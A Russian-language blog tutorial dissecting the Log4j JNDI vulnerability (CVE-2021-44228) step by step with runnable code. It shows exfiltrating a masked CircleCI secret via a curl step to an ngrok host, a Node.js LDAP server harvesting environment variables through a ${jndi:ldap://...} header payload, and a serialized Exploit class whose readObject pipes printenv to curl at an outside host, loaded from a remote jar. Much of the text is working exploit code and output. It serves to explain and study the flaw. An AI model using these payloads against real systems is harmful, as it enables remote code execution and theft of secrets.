Разбираем Log4j уязвимость в деталях… с примерами и кодом
Что-то пошло не так
Думаю все слышали про критическую уязвимость в Log4j, которая существует уже не один десяток лет, но была обнаружена совсем недавно. В итоге ей присвоили самый высокий критический статус CVE-2021–44228 и многие компании, включая Microsoft, Amazon и IBM признали, что некоторые их сервисы подвержены этой уязвимости. Ее суть в том, что Log4j позволяет выполнить любой вредоносный код на сервере при помощи Java Naming and Directory Interface (JNDI). Хотя последние 2 года Java я использую крайне редко, мне все равно стало интересно разобраться с проблемой более детально.
История о том как я искал ключи
Начну очень издалека … с жизненного примера, который не имеет ничего общего с Log4j и Java, но даст базовое понимание того как можно использовать уязвимости. Как-то я работал на проекте, где другой разработчик занимался конфигурацией Continuous Integration, но перед увольнением забыл не захотел поделиться Environment Variables. Пол года все работало хорошо, но пришло время что-то подкрутить и мне понадобились то ли ключи, то ли реквизиты для доступа к базе данных. Проблема в том, что в CircleCI (а мы использовали именно его) нельзя просто так увидеть значения переменных окружения, так как в браузере они отображаются в замаскированном виде. Тоесть во время создании переменной ее значение видно (что очевидно)
А уже после, мы видим только маску в формате хххх{four-last-characters}
(что в принципе тоже очевидно)
Так как я все таки разработчик и у меня было доступ к конфигурации деплоя
, то первое что мне пришло в голову, это распечатать значение переменной окружения прямо в консоль используя echo
, что в реалиях CircleCI выглядит приерно так
version: 2.1
jobs:
build:
docker:
- image: cimg/base:stable
steps:
- checkout
- run: echo "Hello world"
- run: echo ${CIRCLE_REPOSITORY_URL}
- run: echo ${AWS_SECRET_ACCESS_KEY}
workflows:
build:
jobs:
- build
Здесь CIRCLE_REPOSITORY_URL
— встроенная переменная CircleCI, а AWS_SECRET_ACCESS_KEY
— переменная проекта созданная вручную. К сожалению счастью вывод в консоль сработал только для встроенной переменной, а вместо AWS ключа распечаталась маска **************************
которая мало чем может помочь
К слову, в первые годы жизни CircleCI это еще работало, но в конце 2019 хак сломали починили.
Думаем дальше и приходим к выводу, что очень часто, переменные окружения — это ключи или токены, которые используются для аутентификации/авторизации на других ресурсах и логично предположить, что если «вкинуть» переменную в curl
, то CI отправит ее в «сыром» виде и уже принимающая сторона сможет увидеть значение без маски. Пишем очень примитивный HTTP сервер на Node.js единственная задача которого печатать тело запроса в консоль
const express = require('express')
const app = express()
const port = 3000
app.use(express.text())
// Accepts literally any request to literally any path
app.all('*', (req, res) => {
// Print body to the console
console.log(req.body)
// Respond with empty string
res.send('')
})
app.listen(port, () => {
console.log(`App listening at http://localhost:${port}`)
})
Запускаем локально, тестируем
curl --header 'content-type: text/plain' http://localhost:3000/literally-anything-goes-here -d 'Plain text body'
Убеждаемся что все работает хорошо и тело запроса вывелось в консоль
$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
Plain text body
Единственное, что мешает нам отправить curl
запрос из CircleCI на наш Node.js HTTP сервер это то, что сервер поднят на localhost и его «не видно из интернета». Эту проблему нам помогает решить ngrok. Для тех кто никогда не слышал про ngrok — это «приблуда», которая открывает локальный порт и позволяет делать запросы к localhost извне сети даже в обход NAT или firewall. Запускам ngrok и просим его делать forward HTTP запросов на локальный 3000 порт (тот на котором «бегает» Node.js HTTP сервер)
$ ngrok http 3000
Получаем HTTP и HTTPS ссылки, которые «видно из интернета»
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account Oleksandr (Plan: Free)
Version 2.3.40
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding http://5675-136-28-7-90.ngrok.io -> http://localhost:3000
Forwarding https://5675-136-28-7-90.ngrok.io -> http://localhost:3000
Connections ttl opn rt1 rt5 p50 p90
2 0 0.03 0.01 5.07 5.14
Осталось собрать все до кучи и отправить curl
запрос из CircleCI. Для этого обновляем
version: 2.1
jobs:
build:
docker:
- image: cimg/base:stable
steps:
- checkout
- run: echo "Hello world"
- run: echo ${CIRCLE_REPOSITORY_URL}
- run: echo ${AWS_SECRET_ACCESS_KEY}
- run:
name: curl ${AWS_SECRET_ACCESS_KEY}
command: |
curl --header "content-type: text/plain" http://5675-136-28-7-90.ngrok.io/literally-anything-goes-here -d "${AWS_SECRET_ACCESS_KEY}"
workflows:
build:
jobs:
- build
Коммитим, пушим, смотрим в CircleCI и видим что curl
запрос был отправлен успешно
А в консоле Node.js HTTP сервера находим значение переменной окружения AWS_SECRET_ACCESS_KEY
которая пришла в теле curl
запроса
$ yarn start
yarn run v1.22.17
$ node src/index.js
App listening at http://localhost:3000
fake-aws-secret-access-key
Разберем ключевые моменты
Первое, доставка и выполнение вредоносного кода происходит самым обычным пушем в git. Это пожалуй то, что делает этот пример очень тривиальным, ведь у нас есть доступ к репозиторию и возможность в него пушить, а соответственно и доставить вредоносный код жертве.
Второе, жертва (в нашем случае CircleCI) выполняет код, выдает cекрет и даже не подозревает об этом.
Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js HTTP сервера.
Пишем и взламываем RESTful Web Service
Очевидно, что самым сложным моментом в процессе эксплоита является доставка и выполнение вредоносного кода, и в случае с Log4j в этом и заключается уязвимость. Камнем предкновения стал так называемый Lookups в Log4j, который позволяет получить значения переменных из конфигурации. Например, вот как можно распечатать AWS_SECRET_ACCESS_KEY
в консоль
public class App {
private static final Logger LOGGER = LogManager.getLogger(App.class);
public static void main(String[] args) {
LOGGER.info("ENV: ${env:AWS_SECRET_ACCESS_KEY}");
}
}
Получаем
12:16:13.860 [main] INFO org.boilerplate.log4j.App - ENV: fake-aws-secret-access-key
Сам по себе Lookups не страшен, но настоящей проблемой стал JNDI Lookups, который позволяет сделать запрос к удаленному LDAP серверу. Для тех кто не знаком с JNDI и LDAP, вкратце, JNDI — набор интерфейсов, который позволяет общатся с разными ресурсами и обьектами, включая LDAP, DNS, CORBA и т.д., а LDAP — протокол доступа к службе каталогов типа Microsoft Active Directory, позволяющий производить операции аутентицикации, поиска и т.д. в каталоге. Тоесть, если у нас есть LDAP сервер, мы можем отправить к нему запрос используя JNDI.
Не теряя времени, пишем простой LDAP сервер на Node.js единственная задача которого, печатать информацию о запросе в консоль
const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389
server.search('', (req, res, next) => {
// Print request attributes to the console
console.log(req.baseObject.rdns[0].attrs.q);
// Dummy response
res.send({
dn: '',
attributes: {}
})
res.end()
})
server.listen(port, () => {
console.log(`LDAP server listening at ${server.url}`)
})
Как и в предыдущем примере, запускам ngrok и просим его делать forward TCP запросов (LDAP протокол использует именно TCP) на локальный 1389 порт (тот на котором «бегает» Node.js LDAP сервер)
$ ngrok tcp 1389
Получаем TCP ссылку, которую «видно из интернета»
ngrok by @inconshreveable (Ctrl+C to quit)
Session Status online
Account Oleksandr (Plan: Free)
Version 2.3.40
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding tcp://4.tcp.ngrok.io:18013 -> localhost:1389
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Обновляем Java-приложение таким образом что бы Log4j писал в лог запрос к нашему LDAP серверу с использоваением JNDI
public class App {
private static final Logger LOGGER = LogManager.getLogger(App.class);
public static void main(String[] args) {
LOGGER.info("ENV: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}");
}
}
Смотрим в консоль Node.js LDAP сервера и видим значение переменной окружения AWS_SECRET_ACCESS_KEY
которая пришла в теле запроса
$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldape: 'fake-aws-secret-://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }
Очевидно, что никто в здравом уме не будет пистать в лог вот такую строку ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}
, поэтому продолжаем наш эксперимент … конвертируем Java-приложение в RESTful Web Service используя Spring, но вместо стандартного Logback «просим» Spring использовать Log4j, как это сделать описано здесь How to use Log4j 2 with Spring Boot. Получаем вот такой контроллер
@RestController
public class GreetingController {
private final AtomicLong counter = new AtomicLong();
@GetMapping("/greeting")
public Greeting greeting() {
return new Greeting(counter.incrementAndGet(), "Greetings!");
}
}
Так же «говорим» Spring, что хотим писать в лог всю информацию о входящих запросах, включая headers
@SpringBootApplication
public class RestServiceApplication {
public static void main(String[] args) {
SpringApplication.run(RestServiceApplication.class, args);
}
@Bean
public CommonsRequestLoggingFilter requestLoggingFilter() {
CommonsRequestLoggingFilter loggingFilter = new CommonsRequestLoggingFilter();
loggingFilter.setIncludeClientInfo(true);
loggingFilter.setIncludeQueryString(true);
loggingFilter.setIncludePayload(true);
loggingFilter.setIncludeHeaders(true);
return loggingFilter;
}
}
Запускаем сервис и убеждаемся что он работает
$ curl http://localhost:8080/greeting
{"id":1,"content":"Greetings!"}
Дальше, отправляем уже знакомый нам запрос к LDAP ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}
в заголовке curl
запроса
curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting
И в консоле Node.js LDAP сервера видим значение переменной окружения AWS_SECRET_ACCESS_KEY
$ yarn start
yarn run v1.22.17
$ node src/index.js
LDAP server listening at ldap://0.0.0.0:1389
{ value: 'fake-aws-secret-access-key', name: 'q', order: 0 }
Ключевые моменты остались теми же, немножко изменилась реализация
Первое, доставка вредоносного кода происходит с помоющь обычного HTTP запроса к серверу. Вот такая строка ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}
может прийти или в теле запроса или в его заголовке, главное что бы Log4j попытался эту строку записать в лог, и собственно в этот момент происходит выполнение. В этом случае нам даже не нужен доступ к сервису, достаточно уметь пользоваться curl
и знать куда отправлить HTTP запрос.
Второе, жертва (в этом случае Log4j) выполняет код, выдает cекрет и даже не подозревает об этом.
Третье, извлечение секрета наружу происходит с помощью ngrok и очень простого Node.js LDAP сервера.
Несколько комментариев
Совсем не обязательно явно использовать Log4j. В нашем примере, мы явно нигде не вызывали Log4j, а просто «попросили» Spring писать в лог информацию о входящих запросах. Значит любая зависимость в проекте, которая использует Log4j может выполнить вредоносный код. Более того, вы даже можете не знать о том, что какая-то сторонняя библиотека его использует … Например, в Maven можно построить дерево зависимостей и посмотреть какие библиотеки используются в проекте
$ mvn dependency:tree | grep log4j
Даже если облако (AWS, GCP, Azure, etc) фильтрует заголовки запросов перед тем как отправить их на срвер, все не отфильтруешь и проблема может вылезть даже в таких неожиданных местах как имя пользователя или сообщение в чате. Как например с изменением имени устройства в iCloud You can set the name of your iPhone and exploit Apple iCloud currently
В нашем примере мы знаем, что переменная окружения называется
AWS_SECRET_ACCESS_KEY
, тоесть если мы используем «экзотичиские» имена переменных, то нам и нечего бояться? Это не совсем так … каким бы сложным не казался последний пример, JNDI может намного больше чем «просто спросить» LDAP сервер
Ковыряем внутри JNDI
Забегая наперед, скажу пару слов о сериализации и десериализации. Сериализация и десериализация в Java это способ сохранить обьект в текстовом виде (сериализация) и восстановить этот же обьект в Java позже (десериализация). Это как конвертировать Java-обьект в JSON, а потом JSON конвертировать в Java-обьект на другом сервере, почитать детальнее можно здесь Java Object Serialization.
Как оказывается, JNDI может создавать обьекты на основании ответа от LDAP сервера, нужно просто знать что вернуть. Например, если LDAP сервер вернет атрибут javaClassName
, то JNDI попытается десериализовать обьект (см. LdapCtx.java#L1078-L1081)
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
// serialized object or object reference
obj = Obj.decodeObject(attrs);
}
Дальше совсем не долго посмотреть в исходный код JNDI и разобраться, какие еще атрибуты нужно вернуть (см. Obj.java#L63-L81 и Obj.java#L227-L260)
// LDAP attributes used to support Java objects.
static final String[] JAVA_ATTRIBUTES = {
"objectClass",
"javaSerializedData",
"javaClassName",
"javaFactory",
"javaCodeBase",
"javaReferenceAddress",
"javaClassNames",
"javaRemoteLocation" // Deprecated
};
static final int OBJECT_CLASS = 0;
static final int SERIALIZED_DATA = 1;
static final int CLASSNAME = 2;
static final int FACTORY = 3;
static final int CODEBASE = 4;
static final int REF_ADDR = 5;
static final int TYPENAME = 6;
static Object decodeObject(Attributes attrs)
throws NamingException {
Attribute attr;
// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
Понимаем, что нам нужны атрибуты javaClassName
, javaSerializedData
и javaCodeBase
. Создаем очень простой класс Exploit
public class Exploit implements Serializable {
private static final long serialVersionUID = -6153657763951339296L;
private void readObject(ObjectInputStream objectInputStream) throws ClassNotFoundException, IOException {
// Any shady shit goes here
Runtime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");
}
private void writeObject(ObjectOutputStream objectOutputStream) throws IOException {}
}
Создаем обьект класса Exploit
, сериализируем его и получаем вот такую строку
'sr'Exploit[''xpx
Конвертируем ее в Base64
rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=
Собираем jar файл с классом Exploit
и закидываем в любое место доступное по HTTP (для простоты я залил на GitHub). Обновляем LDAP сервер таким образом, что бы он возвращал нужные нам атрибуты
const ldap = require('ldapjs')
const server = ldap.createServer()
const port = 1389
server.search('', (req, res, next) => {
// Print request attributes to the console
console.log(req.baseObject.rdns[0].attrs.q);
// Dummy response
res.send({
dn: '',
attributes: {
javaClassName: 'Exploit',
javaSerializedData: Buffer.from('rO0ABXNyAAdFeHBsb2l0qpnQ3f5bGOADAAB4cHg=', 'base64'),
javaCodeBase: 'https://raw.githubusercontent.com/oleksandrkyetov/log4j-boilerplate/master/Exploit.jar'
}
})
res.end()
})
server.listen(port, () => {
console.log(`LDAP server listening at ${server.url}`)
})
И отправляем curl
запрос на сервер как и в предыдущем случае
curl --header 'custom-header: ${jndi:ldap://4.tcp.ngrok.io:18013/q=${env:AWS_SECRET_ACCESS_KEY}}' http://localhost:8080/greeting
В итоге получаем не только переменную окружения AWS_SECRET_ACCESS_KEY
, но и все содержимое printenv
В данном случае, как только сервер получит ответ из LDAP
ClassLoader
загрузит Exploit.jar и узнает о классеExploit
Десериализуется обьект класса
Exploit
Во время десериализации выполнится код из метода
readObject()
, а именноRuntime.getRuntime().exec("printenv | tr '\\n' '&' | curl --header \"content-type: text/plain\" https://aec6-136-28-7-90.ngrok.io -d @-");
Содержимое
printenv
«сольется»curl
запросом
По сути, во время десериализации, можно выполнить любой код, и даже получить доступ к bash
сервера. Справедливости ради, скажу, что этот метод будет работать, только в случае если -Dcom.sun.jndi.ldap.object.trustURLCodebase
стоит в true
, тоесть если мы разрешили Java загружать jar-файлы в ClassLoader
из внешних источников, но уже существует способ это обойти JNDI-Injection-Bypass.
Итог
Естественно, в Log4j это уже починили, но в целом проблема не новая. Есть десятки статей, которые так и называются »… JNDI Injection …» и были написаны 3–5 лет назад Attacking Unmarshallers: JNDI Injection using Getter Based Deserialization Gadgets, Jackson deserialization exploits, Json Deserialization Exploitation, есть даже видео 5ти летней давности на эту тему A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land.
Самая большая пробелма в том, что JNDI никуда не делся, а так же никуда не делись разработчики, которые не знают о JNDI, но пишут библиотеки, которыми в итоге пользуются другие …